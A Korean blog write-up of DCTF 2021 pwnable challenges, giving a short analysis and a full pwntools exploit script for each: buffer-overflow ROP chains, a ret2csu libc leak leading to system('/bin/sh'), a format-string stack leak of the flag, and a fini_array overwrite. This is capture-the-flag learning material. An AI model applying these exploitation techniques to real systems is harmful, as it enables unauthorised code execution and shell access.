CTF/Write UPs

[DCTF 2021 : pwnable] 내가 푼 문제들 풀이

jir4vvit 2021. 5. 17. 14:39
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

Pwn sanity check

vuln함수

main에서 vuln 함수를 호출한다. 그리고 shell함수를 호출하면서 리턴을 한다.

shell함수

shell 함수를 살펴보면 별 게 없다...... 

하지만 함수 목록을 보면 win이라는 함수가 있다. 

win함수

이 함수는 인자를 2개를 필요로 한다. 이 인자의 값이 조건과 맞아떨어지면 system함수를 호출한다.

 

이 바이너리는 64bit 운영체제이기 때문에 pop rdi와 pop rsi와 같은 가젯을 이용하여 win 함수의 인자를 조절을 해줘야 한다. 

from pwn import *

#context.log_level = 'DEBUG'

#p = process('./pwn_sanity_check')
p = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)
e = ELF('./pwn_sanity_check')

payload = ''
payload += 'A' * (0x40-0x4)
payload += p32(0xDEADC0DE)
payload += 'B' * 8
payload += p64(0x400813) # pop rdi
payload += p64(0xDEADBEEF) 
payload += p64(0x400811) # pop rsi
payload += p64(0x1337C0DE)
payload += p64(0x400536) # ret
payload += p64(e.symbols['win'])

pause()
p.sendlineafter('\n', payload)

p.interactive()

Pinch me

main에서 vuln 함수를 호출한다.

vuln함수

BOF가 대놓고 터지며, v2 변수가 0x1337C0DE의 값을 가지면 셸을 실행한다.

s에 입력을 받을 때 v2까지 침범이 가능하니 ... 값을 변조시키면 될 듯 하다.

from pwn import *

#context.log_level = 'DEBUG'

#p = process('./pinch_me')
p = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)
e = ELF('./pinch_me')

payload = ''
payload += 'A' * (0x20-0x8)
payload += p64(0x1337C0DE)

pause()
p.sendlineafter('?\n', payload)

p.interactive()

Readme

역시나 main에서 vuln를 호출하는 형태

vuln함수

flag.txt 파일이 없으면 터진다. 그래서 로컬에서 테스트하려면 flag.txt 파일을 만들어줘야 한다.

FSB가 터진다. 일반적으로 FSB가 터지면 got를 덮을수도 있고, leak도 가능하다. 

하지만 Full RELRO여서 got는 못덮고, leak을 해서 뭔갈 하기에는.. main으로 돌아갈 장치를 발견 못해서 leak을 해도 소용이 없다.

로컬에서 디버깅하면서 테스트를 해보면, offset 8부터 스택에 flag가 저장되어 있는 것을 확인할 수 있다.

그래서 remote로 접속해서 %8$p 이런식으로 해서 flag 내용을 노출시킬 수 있다.

def find_flag(a):
    flag = ''
    for i in range(0, len(a)):
        flag += a[i].decode('hex')[::-1]

    print(flag)
    return flag


# local

test1 = '7365747b66746364'.split('0x') # 8
test2 ='7d67616c665f74'.split('0x') # 9
find_flag(test1)
find_flag(test2)

# dctf{test_flag}

# remote
d = '77306e7b66746364'.split('0x') # 8
data = '646133725f30675f'.split('0x') # 9
data2 = '30625f656d30735f'.split('0x') # 10
data3 = '00356b30'.split('0x') # 11


find_flag(d)
find_flag(data)
find_flag(data2)
find_flag(data3)

# dctf{n0w_g0_r3ad_s0me_b00k5}

11번째 offset에 쓰레기 값이 섞여있어서 flag값을 제대로 릭을 못해 못 푼 사람들도 있는 것 같다.(디코 내용 보면..)

나 같은 경우는 아스키 범위가 아닌건 아예 지워버린 다음 '}' 얘는 그냥 게싱해서 넣었다.

Baby bof

도커파일도 같이 준다. 이 말은 즉슨 립시 버전도 함께 알려주는 것 

그래서 이 문제만 특별하게 ubuntu 20에서 진행하였다.

 

main에서 vuln를 호출

BOF이 터진다. 그냥 뭐 필요한 가젯 모아서 libc 릭 한다음에 system('/bin/sh') 실행시켜주면 된다. ubuntu 버전이 높을수록 원가젯 조건이 까다롭다. 그래서 원가젯 쓸 생각을 아예 안했었다.

 

지금 보니까 왜 굳이 RTC 가젯 줍줍했는지 모르겠다. puts로 libc leak하고 ..system 함수 실행시킬 때도.. 가젯 pop rdi 하나밖에 안필요한데.. ㅋㅋㅋㅋ ㅎ

from pwn import *

#p = process('./baby_bof')
p = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)
e = ELF('./baby_bof')
libc = e.libc

csu_call = 0x400660
csu_init = 0x400676

def chain(got, A, B, C, csu_call):
    payload = ''
    payload += 'A' * 8
    payload += p64(0)
    payload += p64(1)
    payload += p64(got)
    payload += p64(A)
    payload += p64(B)
    payload += p64(C)
    payload += p64(csu_call)

    return payload


pop_rdi = 0x400683
pop_rsi = 0x400681
ret = 0x40048e

main = 0x4005f2

puts_got = e.got['puts']
fgets_got = e.got['fgets']

payload = ''
payload += 'A' * (0xA + 0x8)
#payload += 'B' * 0x8
payload += p64(csu_init)
payload += chain(puts_got, puts_got, 0, 0, csu_call)
payload += chain(0, 0, 0, 0, main)

#pause()
p.sendlineafter('\n', payload)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('puts_got = '+hex(leak))

libc_base = leak - libc.symbols['puts']
log.info('libc_base = '+hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload = ''
payload += 'A' * (0xA + 0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
#payload += p64(ret)
payload += p64(system)

pause()
p.sendlineafter('\n', payload)

p.interactive()

Magic trick

 

*v2 = v1 

예전에 dreamhack에서 이런거 푼 기억이 난다. 그 때 저거 포인터보고 넘 감명깊었었는데..

암튼 원하는 주소에 값을 쓸 수 있다.

최종적으로 이 win 함수를 실행시키는 것이 목표이다.

카나리가 있어서 stack_chk_fail 함수에다가 win 함수를 덮으려고 했는데, BOF가 안터지다보니 카나리를 더럽혀서 stack_chk_fail 함수를 호출시키는게 안됐었다.

 

그래서 고민을 하다가 예전에 fini_array란 것을 잠깐 들어봤었는데 얘를 덮어야겠다고 생각했다. 무슨 main이 끝날 때 호출이 된다고 하는데 사실 잘 모른다. 공부해야한다 ㅠ

from pwn import *

#p = process('./magic_trick')
p = remote('dctf-chall-magic-trick.westeurope.azurecontainer.io', 7481)
e = ELF('./magic_trick')

stack_chk_fail = e.got['__stack_chk_fail']

print p.recvuntil("write\n")
pause()
p.sendline(str(0x400667))

print p.recvuntil("it\n")
pause()
p.sendline(str(0x600a00)) # fini_array

p.interactive()

 

 

Hotel ROP

BOF가 터진다.

이 두 함수에서 친절하게 win_land에다가 /bin/sh를 넣어준다.

loss

그리고 조건만 잘 맞추면 win_land의 '/bin/sh' 을 system함수로 실행해준다..!

 

다만 pie가 걸려있기 때문에 pie leak을 해야한다. 하지만 이는 main함수에서 main 주소를 출력을 해줌으로써 손쉽게 leak을 할 수 있다.

 main

from pwn import *

context.log_level = 'DEBUG'

#p = process('./hotel_rop')
p = remote('dctf1-chall-hotel-rop.westeurope.azurecontainer.io', 7480)
e = ELF('./hotel_rop')

print p.recvuntil('0x')
main = '0x' + p.recv(12)
main = int(main, 16)
log.info('main = '+hex(main))

pie_base = main - 0x136d
log.info('pie_base = '+hex(pie_base))

cali = pie_base + 0x11dc
sili = pie_base + 0x1283
loss = pie_base + 0x1185

pop_rdi = pie_base + 0x140b
pop_rsi = pie_base + 0x1409


payload = ''
payload += 'A' * (0x20 + 0x8)
payload += p64(cali)
payload += p64(sili)
payload += p64(pop_rdi)
payload += p64(0x1337C0DE)
payload += p64(pop_rsi)
payload += p64(0xcb760000)
payload += p64(pie_base + 0x1016) #ret
payload += p64(loss)


pause()
p.sendlineafter('?\n', payload)



p.interactive()